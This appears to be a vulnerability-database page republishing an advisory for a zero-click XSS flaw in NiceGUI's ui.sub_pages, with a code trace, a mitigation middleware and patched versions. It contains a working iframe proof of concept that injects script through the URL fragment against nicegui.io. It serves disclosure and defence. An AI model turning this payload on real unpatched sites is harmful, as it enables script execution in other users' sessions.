CVE-2026-21873High· 7.2▾ TwilightNiceGUI apps which use `ui.sub_pages` vulnerable to zero-click XSS
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.6 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
0.2% → 0.3%
An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.
The problem is traced as follows:
pushstate, handleStateEvent is executed.handleStateEvent emits sub_pages_open event.SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs._handle_open finds any SubPages and runs _show() on themself._handle_scrolling(match, behavior='smooth') directly_handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes.Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.
<html>
<body>
<iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
<script>
function triggerXSS() {
if (!myiframe.src.includes("#")) {
myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
}
}
</script>
</body>
</html>
<img width="1429" height="643" alt="image" src="https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6" />
Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.
The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).
ui.sub_pages@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
response = await call_next(request)
response.headers['X-Frame-Options'] = 'DENY'
return response
AI is used safely to judge the CVSS scoring (input is censored).
Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma
The scoring done by AI was quite biased. Upon further review it is less dramatic.
nicegui >= 2.22.0, < 3.5.0Upgrade to a patched release:
nicegui 3.5.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-21874Medium· 5.3NiceGUI has Redis connection leak via tab storage causes service degradation
CVE-2026-21872Medium· 6.1NiceGUI apps are vulnerable to XSS which uses `ui.sub_pages` and render arbitrary user-provided links
CVE-2026-21871Medium· 6.1NiceGUI is vulnerable to XSS via Unescaped URL in ui.navigate.history.push() / replace()
CVE-2026-39844Medium· 5.9NiceGUI: Upload filename sanitization bypass via backslashes allows path traversal on Windows
CVE-2026-33332Medium· 5.3NiceGUI's unvalidated chunk size parameter in media routes can cause memory exhaustion
CVE-2026-25516Medium· 6.1NiceGUI's XSS vulnerability in ui.markdown() allows arbitrary JavaScript execution through unsanitized HTML content